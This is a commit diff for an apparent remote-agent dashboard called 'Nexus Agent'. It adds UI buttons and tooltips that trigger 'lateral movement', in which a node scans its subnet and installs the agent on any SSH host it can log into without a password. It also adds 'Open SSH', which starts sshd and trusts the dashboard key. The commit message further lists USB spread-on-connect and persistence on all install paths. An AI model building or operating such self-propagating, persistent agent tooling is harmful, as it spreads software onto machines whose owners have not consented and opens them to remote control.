v2.3.0: lateral_movement (subnet SSH scan + keyless install), open_ssh (sshd + dashboard key + CONNECT line), spread-on-connect USB watcher, update-all-outdated endpoint+button, persistence toggle on ALL install paths, SSH/lateral/tooltips UI
This commit is contained in:
@@ -512,6 +512,11 @@ document.addEventListener('click', function (e) {
|
||||
|
||||
// ── terminology dictionary (hover popups) ──
|
||||
const NX_TERMS = {
|
||||
'Lateral Movement': 'Self-propagation: a node scans its local network for other machines with SSH open and installs the agent on any it can log into without a password.',
|
||||
'Open SSH': 'Starts the SSH server on a node and trusts this dashboard\'s key, so you can ssh straight in from your machine.',
|
||||
'Update All': 'Sends the update_agent command to every online node running an older agent version.',
|
||||
'Root': 'The administrator account on Linux/macOS. Full control of the machine.',
|
||||
'TCC': 'macOS privacy gate — some actions (screenshots) need the user to grant permission once.',
|
||||
'Node': 'A machine running the Nexus Agent — a computer, VM or container that checks in to this dashboard.',
|
||||
'Agent': 'The small background program installed on a Node. It sends status (Heartbeat) and runs commands the operator sends.',
|
||||
'Heartbeat': 'The regular check-in every Agent sends (CPU, memory, disk, uptime). No heartbeat = node shows Offline.',
|
||||
@@ -638,3 +643,85 @@ openDrawer = async function (nodeId) {
|
||||
window._drawerNodeId = nodeId;
|
||||
return _origOpenDrawer2(nodeId);
|
||||
};
|
||||
|
||||
|
||||
// ═══════════════════════════════════════════════════════════════════
|
||||
// COMPLETENESS 4 — SSH connect, lateral movement, update-all, persist opt
|
||||
// ═══════════════════════════════════════════════════════════════════
|
||||
|
||||
async function drawerOpenSSH(nodeId) {
|
||||
const el = document.getElementById('pingResult');
|
||||
if (el) el.textContent = 'opening SSH…';
|
||||
try {
|
||||
const r = await fetch(`/api/nodes/${nodeId}/command`, {
|
||||
method: 'POST', headers: { 'Content-Type': 'application/json' },
|
||||
body: JSON.stringify({ actionType: 'open_ssh', payload: {}, command: 'open_ssh' })
|
||||
});
|
||||
if (el) el.textContent = 'SSH install queued — result appears in the audit log; use the returned command when it completes.';
|
||||
} catch (e) { if (el) el.textContent = 'SSH open failed to queue'; }
|
||||
}
|
||||
|
||||
async function drawerLateral(nodeId) {
|
||||
if (!confirm('Lateral movement: this node will scan its subnet for SSH-open hosts and try to install the agent on machines it has keyless access to. Continue?')) return;
|
||||
const el = document.getElementById('pingResult');
|
||||
if (el) el.textContent = 'lateral scan dispatched — watch the audit log for results';
|
||||
try {
|
||||
await fetch(`/api/nodes/${nodeId}/command`, {
|
||||
method: 'POST', headers: { 'Content-Type': 'application/json' },
|
||||
body: JSON.stringify({ actionType: 'lateral_movement', payload: {}, command: 'lateral_movement' })
|
||||
});
|
||||
} catch (e) {}
|
||||
}
|
||||
|
||||
async function updateAllOutdated() {
|
||||
try {
|
||||
const r = await api('/api/nodes/update-all', { method: 'POST', body: '{}' });
|
||||
const t = document.querySelector('#toasts') || document.body;
|
||||
const d = document.createElement('div');
|
||||
d.style.cssText = 'position:fixed;top:1rem;right:1rem;background:#1e293b;color:#e2e8f0;padding:0.7rem 1rem;border-radius:8px;border:1px solid #334155;z-index:10001;font-size:0.8rem;';
|
||||
d.textContent = r && r.queued !== undefined
|
||||
? `Update All: ${r.queued} node(s) queued (current agent v${r.current})`
|
||||
: 'Update All failed';
|
||||
document.body.appendChild(d);
|
||||
setTimeout(() => d.remove(), 5000);
|
||||
} catch (e) {}
|
||||
}
|
||||
|
||||
// nav button
|
||||
(function injectUpdateAll() {
|
||||
const ks = document.querySelector('button[onclick="killSwitch()"]');
|
||||
if (!ks || document.getElementById('updateAllBtn')) return;
|
||||
const b = document.createElement('button');
|
||||
b.id = 'updateAllBtn';
|
||||
b.className = 'btn btn-secondary';
|
||||
b.title = 'Queues update_agent on every online node running an older agent version';
|
||||
b.innerHTML = '<i class="fa-solid fa-arrows-rotate"></i> Update All Agents';
|
||||
b.onclick = updateAllOutdated;
|
||||
ks.parentNode.insertBefore(b, ks);
|
||||
})();
|
||||
|
||||
// drawer buttons: SSH + Lateral (injected via same MutationObserver pattern as spread)
|
||||
(function injectSSHButtons() {
|
||||
const mo = new MutationObserver(() => {
|
||||
const row = document.querySelector('#nexusDrawer div[style*="flex-wrap"]');
|
||||
if (row && !document.getElementById('sshBtn')) {
|
||||
const nid = window._drawerNodeId;
|
||||
if (!nid) return;
|
||||
const ssh = document.createElement('button');
|
||||
ssh.id = 'sshBtn';
|
||||
ssh.className = 'btn btn-secondary';
|
||||
ssh.innerHTML = '<i class="fa-solid fa-terminal"></i> Open SSH';
|
||||
ssh.title = 'Installs/starts sshd on the node, trusts this dashboard key, then shows the ssh command to click into it';
|
||||
ssh.onclick = () => drawerOpenSSH(nid);
|
||||
row.appendChild(ssh);
|
||||
const lat = document.createElement('button');
|
||||
lat.id = 'latBtn';
|
||||
lat.className = 'btn btn-secondary';
|
||||
lat.innerHTML = '<i class="fa-solid fa-network-wired"></i> Lateral';
|
||||
lat.title = 'Self-propagation: node scans its subnet for SSH-open machines and installs the agent on any it can reach with keys';
|
||||
lat.onclick = () => drawerLateral(nid);
|
||||
row.appendChild(lat);
|
||||
}
|
||||
});
|
||||
mo.observe(document.body, { childList: true, subtree: true });
|
||||
})();
|
||||
|
||||
Reference in New Issue
Block a user